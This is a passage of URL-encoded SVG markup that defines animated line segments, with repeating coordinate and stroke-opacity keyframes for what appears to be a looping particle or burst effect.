%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B455.3026%3B466.7509%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%3B479.485%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B107.7658%3B104.6214%3B93.1691%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%3B79.5833%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B452.1594%3B455.3026%3B466.7509%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%3B480.332%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22348.3676%22%20y1%3D%22204.8431%22%20x2%3D%22347.5013%22%20y2%3D%22205.9168%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B348.3676%3B349.9022%3B351.6122%3B353.5297%3B355.6949%3B358.1589%3B360.9884%3B364.2711%3B368.1255%3B372.7149%3B378.2719%3B385.1387%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B204.8431%3B202.9413%3B200.8219%3B198.4455%3B195.7622%3B192.7084%3B189.2017%3B185.1333%3B180.3566%3B174.6687%3B167.7817%3B159.2715%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B347.5013%3B348.3676%3B349.9022%3B351.6122%3B353.5297%3B355.6949%3B358.1589%3B360.9884%3B364.2711%3B368.1255%3B372.7149%3B378.2719%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B205.9168%3B204.8431%3B202.9413%3B200.8219%3B198.4455%3B195.7622%3B192.7084%3B189.2017%3B185.1333%3B180.3566%3B174.6687%3B167.7817%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2262.314%22%20y1%3D%2246.7538%22%20x2%3D%2265.2965%22%20y2%3D%2248.9905%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2262.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B62.314%3B48.6562%3B33.4696%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%3B16.4823%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B46.7538%3B36.5115%3B25.1226%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%3B12.3834%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2265.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B65.2965%3B62.314%3B48.6562%3B33.4696%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%3B-0.8659%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2248.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B48.9905%3B46.7538%3B36.5115%3B25.1226%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%3B-0.6265%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22182.9015%22%20y1%3D%2225.852%22%20x2%3D%22183.3331%22%20y2%3D%2226.526%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B182.9015%3B175.6998%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%3B167.6994%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2225.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B25.852%3B14.6028%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%3B2.1062%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B183.3331%3B182.9015%3B175.6998%3B166.1498%3B166.1498%3B166.1498%3B166.1498%3B166.1498%3B166.1498%3B166.1498%3B166.1498%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2226.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B26.526%3B25.852%3B14.6028%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%3B-0.3143%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22459.8497%22%20y1%3D%2246.9174%22%20x2%3D%22456.5137%22%20y2%3D%2251.5233%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B459.8497%3B467.3603%3B475.7232%3B485.0926%3B485.0926%3B485.0926%3B485.0926%3B485.0926%3B485.0926%3B485.0926%3B485.0926%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B46.9174%3B36.5481%3B25.0018%3B12.0661%3B12.0661%3B12.0661%3B12.0661%3B12.0661%3B12.0661%3B12.0661%3B12.0661%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B456.5137%3B459.8497%3B467.3603%3B475.7232%3B494.3337%3B494.3337%3B494.3337%3B494.3337%3B494.3337%3B494.3337%3B494.3337%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2251.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B51.5233%3B46.9174%3B36.5481%3B25.0018%3B-0.6926%3B-0.6926%3B-0.6926%3B-0.6926%3B-0.6926%3B-0.6926%3B-0.6926%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2226.6324%22%20y1%3D%22217.0493%22%20x2%3D%2227.445%22%20y2%3D%22217.1129%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2226.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B26.6324%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%3B11.228%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B217.0493%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%3B215.8442%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2227.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B27.445%3B26.6324%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%3B-0.3163%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.1129%3B217.0493%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%3B214.941%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2296.9375%22%20y1%3D%22170.5612%22%20x2%3D%2297.7554%22%20y2%3D%22170.8158%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2296.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B96.9375%3B85.2136%3B72.1889%3B57.6343%3B41.2634%3B22.7134%3B1.5185%3B1.5185%3B1.5185%3B1.5185%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B170.5612%3B166.9116%3B162.8571%3B158.3262%3B153.23%3B147.4555%3B140.8575%3B140.8575%3B140.8575%3B140.8575%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2297.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B97.7554%3B96.9375%3B85.2136%3B72.1889%3B57.6343%3B41.2634%3B22.7134%3B-1.4885%3B-1.4885%3B-1.4885%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.8158%3B170.5612%3B166.9116%3B162.8571%3B158.3262%3B153.23%3B147.4555%3B139.9215%3B139.9215%3B139.9215%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22380.8104%22%20y1%3D%22196.1044%22%20x2%3D%22379.4083%22%20y2%3D%22197.1165%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B380.8104%3B384.0734%3B387.7064%3B391.7761%3B396.3664%3B401.5839%3B407.5667%3B414.4963%3B422.6169%3B432.2645%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B196.1044%3B193.7491%3B191.1266%3B188.1889%3B184.8755%3B181.1092%3B176.7906%3B171.7885%3B165.9267%3B158.9627%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B379.4083%3B380.8104%3B384.0734%3B387.7064%3B391.7761%3B396.3664%3B401.5839%3B407.5667%3B414.4963%3B422.6169%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B197.1165%3B196.1044%3B193.7491%3B191.1266%3B188.1889%3B184.8755%3B181.1092%3B176.7906%3B171.7885%3B165.9267%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22459.9175%22%20y1%3D%22410.6485%22%20x2%3D%22453.7113%22%20y2%3D%22403.0792%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B459.9175%3B467.6017%3B476.179%3B485.8146%3B496.7174%3B509.1549%3B509.1549%3B509.1549%3B509.1549%3B509.1549%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B410.6485%3B420.0204%3B430.4816%3B442.2336%3B455.531%3B470.7003%3B470.7003%3B470.7003%3B470.7003%3B470.7003%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B453.7113%3B459.9175%3B467.6017%3B476.179%3B485.8146%3B496.7174%3B517.7618%3B517.7618%3B517.7618%3B517.7618%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B403.0792%3B410.6485%3B420.0204%3B430.4816%3B442.2336%3B455.531%3B481.1976%3B481.1976%3B481.1976%3B481.1976%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22216.2194%22%20y1%3D%22398.6647%22%20x2%3D%22216.3994%22%20y2%3D%22398.3896%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B216.2194%3B210.776%3B204.7298%3B197.9751%3B190.3795%3B181.7755%3B171.948%3B171.948%3B171.948%3B171.948%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B398.6647%3B406.987%3B416.2306%3B426.5575%3B438.1701%3B451.3243%3B466.349%3B466.349%3B466.349%3B466.349%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.3994%3B216.2194%3B210.776%3B204.7298%3B197.9751%3B190.3795%3B181.7755%3B162.163%3B162.163%3B162.163%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.3896%3B398.6647%3B406.987%3B416.2306%3B426.5575%3B438.1701%3B451.3243%3B481.3088%3B481.3088%3B481.3088%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22375.9399%22%20y1%3D%22438.7211%22%20x2%3D%22375.7935%22%20y2%3D%22438.2011%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B375.9399%3B378.8767%3B382.1391%3B385.7842%3B385.7842%3B385.7842%3B385.7842%3B385.7842%3B385.7842%3B385.7842%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B438.7211%3B449.1541%3B460.7432%3B473.692%3B473.692%3B473.692%3B473.692%3B473.692%3B473.692%3B473.692%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.7935%3B375.9399%3B378.8767%3B382.1391%3B387.7102%3B387.7102%3B387.7102%3B387.7102%3B387.7102%3B387.7102%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.2011%3B438.7211%3B449.1541%3B460.7432%3B480.534%3B480.534%3B480.534%3B480.534%3B480.534%3B480.534%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2221.1776%22%20y1%3D%22292.3535%22%20x2%3D%2231.5813%22%20y2%3D%22290.5308%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2221.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B21.1776%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%3B4.9374%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B292.3535%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%3B295.1988%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2231.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B31.5813%3B21.1776%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%3B-0.3693%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B290.5308%3B292.3535%3B296.1285%3B296.1285%3B296.1285%3B296.1285%3B296.1285%3B296.1285%3B296.1285%3B296.1285%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22181.7049%22%20y1%3D%22189.843%22%20x2%3D%22182.7007%22%20y2%3D%22190.2041%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B181.7049%3B174.4091%3B166.3005%3B157.2355%3B147.0343%3B135.4687%3B122.2457%3B106.9813%3B89.1633%3B68.0925%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B189.843%3B187.1969%3B184.2561%3B180.9684%3B177.2686%3B173.074%3B168.2782%3B162.7421%3B156.2799%3B148.6379%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B182.7007%3B181.7049%3B174.4091%3B166.3005%3B157.2355%3B147.0343%3B135.4687%3B122.2457%3B106.9813%3B89.1633%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B189.843%3B187.1969%3B184.2561%3B180.9684%3B177.2686%3B173.074%3B168.2782%3B162.7421%3B156.2799%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22169.6323%22%20y1%3D%2246.1731%22%20x2%3D%22170.142%22%20y2%3D%2246.8302%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B161.7314%3B152.9542%3B143.1464%3B143.1464%3B143.1464%3B143.1464%3B143.1464%3B143.1464%3B143.1464%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B35.9887%3B24.6748%3B12.0323%3B12.0323%3B12.0323%3B12.0323%3B12.0323%3B12.0323%3B12.0323%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B169.6323%3B161.7314%3B152.9542%3B133.3356%3B133.3356%3B133.3356%3B133.3356%3B133.3356%3B133.3356%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.1731%3B35.9887%3B24.6748%3B-0.614%3B-0.614%3B-0.614%3B-0.614%3B-0.614%3B-0.614%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20d